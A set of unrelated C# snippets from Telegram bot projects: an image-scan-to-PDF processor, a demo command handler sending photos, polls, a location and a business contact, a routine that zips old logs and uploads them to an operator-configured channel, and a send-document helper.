private async Task ProcessItem(WorkItem workItem) { var files = new List <Stream>(); try { foreach (var fileInfo in workItem.Files) { var stream = new MemoryStream(); try { var file = await _telegramBotClient.GetFileAsync(fileInfo, stream); _logger.LogInformation("Downloaded file with name {0} and id {1} - Size: {2} KB", file.FilePath, file.FileId, file.FileSize / 1024); if (workItem.DocumentAction == DocumentAction.DocumentScan) { var result = _imageDocumentDetectionService.ProcessStream(stream); stream.Dispose(); if (result == null) { await _telegramBotClient.SendTextMessageAsync(workItem.ChatId, "Oh snap, I'm not able to handle this picture :("); return; } files.Add(result); } else { files.Add(stream); } } catch (Exception ex) { _logger.LogCritical(ex, "Unable to process a file :("); stream.Dispose(); await _telegramBotClient.SendTextMessageAsync(workItem.ChatId, "Oh snap, I'm not able to complete your action :("); return; } } switch (workItem.ConversationType) { case ConversationType.Image: foreach (var processedFile in files) { await _telegramBotClient.SendPhotoAsync(workItem.ChatId, new FileToSend(Guid.NewGuid() + ".jpg", processedFile)); } break; case ConversationType.Pdf: using (var collection = new MagickImageCollection()) { foreach (var processedFile in files) { collection.Add(new MagickImage(processedFile)); } using (var pdfStream = new MemoryStream()) { collection.Write(pdfStream, MagickFormat.Pdf); pdfStream.Position = 0; await _telegramBotClient.SendDocumentAsync(workItem.ChatId, new FileToSend(Guid.NewGuid() + ".pdf", pdfStream)); } } break; } } catch (Exception ex) { _logger.LogCritical(ex, "Unable to process a file :("); await _telegramBotClient.SendTextMessageAsync(workItem.ChatId, "Oh snap, I'm not able to complete your action :("); return; } finally { } }
static async void Bot_OnMessage(object sender, MessageEventArgs e) { if (e.Message.Text == "/hello") { Message textMessage = await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : "Hello, world!", parseMode : ParseMode.Default, disableNotification : false); } if (e.Message.Text == "/sendpic") { Message photoMessage = await botClient.SendPhotoAsync( chatId : e.Message.Chat, photo : "https://cdn5.zp.ru/job/attaches/2019/08/35/b8/35b8649f6773c52f3535793d96d84317.jpg", caption : "<b>Логотип ИнПАД</b>. <i>Источник</i>: <a href=\"https://www.inpad.ru\">ИнПАД</a>", parseMode : ParseMode.Html); } if (e.Message.Text == "/sendpoll") { Message pollMessage = await botClient.SendPollAsync( chatId : e.Message.Chat, isAnonymous : false, question : "Ты работаешь в ИнПАДе?", options : new[] { "Да", "Нет, в другом месте" }); } if (e.Message.Text == "/sendfile") { Message fileMessage = await botClient.SendDocumentAsync( chatId : e.Message.Chat, document : "https://media.tenor.com/images/e9cc959f643d3aac2322295eb95d19ce/tenor.gif" ); } if (e.Message.Text == "/sendsticker") { Message stickerMessage = await botClient.SendStickerAsync( chatId : e.Message.Chat, sticker : "https://raw.githubusercontent.com/zubanidze/telegramBot/master/TelegramTestBot/1146271698.webp"); } if (e.Message.Text == "/sendlocation") { Message locationMessage = await botClient.SendVenueAsync( chatId : e.Message.Chat.Id, latitude : 56.8393f, longitude : 60.5836f, title : "ИНСТИТУТ ПРОЕКТИРОВАНИЯ, архитектуры и дизайна", address : "ул. Шейнкмана, 10, Екатеринбург, Свердловская обл., 620014", replyMarkup : new InlineKeyboardMarkup(InlineKeyboardButton.WithUrl( "Перейти на сайт организации", "https://www.inpad.ru/"))); } if (e.Message.Text == "/sendcontact") { Message contactMessage = await botClient.SendContactAsync( chatId : e.Message.Chat.Id, phoneNumber : "+73432875694", firstName : "Виктор", lastName : "Сальников"); } if ((!e.Message.Text.Contains("/") && (!e.Message.Text.All(char.IsDigit)))) { Message textMessage = await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : "Такой команды пока нет :(", parseMode : ParseMode.Default, replyMarkup : keyboard); } if (e.Message.Text == "custom") { var rkm = new ReplyKeyboardMarkup(); var rows = new List <KeyboardButton[]>(); var cols = new List <KeyboardButton>(); for (var Index = 1; Index < 17; Index++) { cols.Add(new KeyboardButton("" + Index)); if (Index % 4 != 0) { continue; } rows.Add(cols.ToArray()); cols = new List <KeyboardButton>(); } rkm.Keyboard = rows.ToArray(); await botClient.SendTextMessageAsync( e.Message.Chat, "Choose", replyMarkup : rkm); } if (e.Message.Text == "1") { Message textMessage = await botClient.SendTextMessageAsync( chatId : e.Message.Chat, text : "Hello, world!", parseMode : ParseMode.Default, disableNotification : false); } if (e.Message.Text == "2") { Message contactMessage = await botClient.SendContactAsync( chatId : e.Message.Chat.Id, phoneNumber : "+73432875694", firstName : "Виктор", lastName : "Сальников"); } if (e.Message.Text == "3") { Message pollMessage = await botClient.SendPollAsync( chatId : e.Message.Chat, isAnonymous : false, question : "Ты работаешь в ИнПАДе?", options : new[] { "Да", "Нет, в другом месте" }); } }
public async Task ClearLog() { try { const string logsPath = "Storage/Logs"; var channelTarget = _eventLogConfig.ChannelId; if (channelTarget == 0) { Log.Information("Please specify ChannelTarget in appsettings.json"); return; } var dirInfo = new DirectoryInfo(logsPath); var files = dirInfo.GetFiles(); var filteredFile = files.Where( fileInfo => fileInfo.LastWriteTimeUtc < DateTime.UtcNow.AddDays(-1) || fileInfo.CreationTimeUtc < DateTime.UtcNow.AddDays(-1) ).ToList(); var fileCount = filteredFile.Count; if (fileCount > 0) { Log.Information( "Found {FileCount} of {Length}", fileCount, files.Length ); foreach (var fileInfo in filteredFile) { var filePath = fileInfo.FullName; var zipFile = filePath.CreateZip(); Log.Information("Uploading file {ZipFile}", zipFile); await using var fileStream = File.OpenRead(zipFile); var media = new InputOnlineFile(fileStream, zipFile) { FileName = Path.GetFileName(zipFile) }; await _botClient.SendDocumentAsync(channelTarget, media); fileStream.Close(); await fileStream.DisposeAsync(); filePath.DeleteFile(); zipFile.DeleteFile(); Log.Information("Upload file {ZipFile} succeeded", zipFile); await Task.Delay(1000); } } else { Log.Information("No Logs file need be processed for previous date"); } } catch (Exception ex) { Log.Error(ex, "Error Send .Log file to ChannelTarget"); } }
private Func <Task> SendFileFn(FileToSend file, long chatId) => () => _botClient.SendDocumentAsync(chatId, file);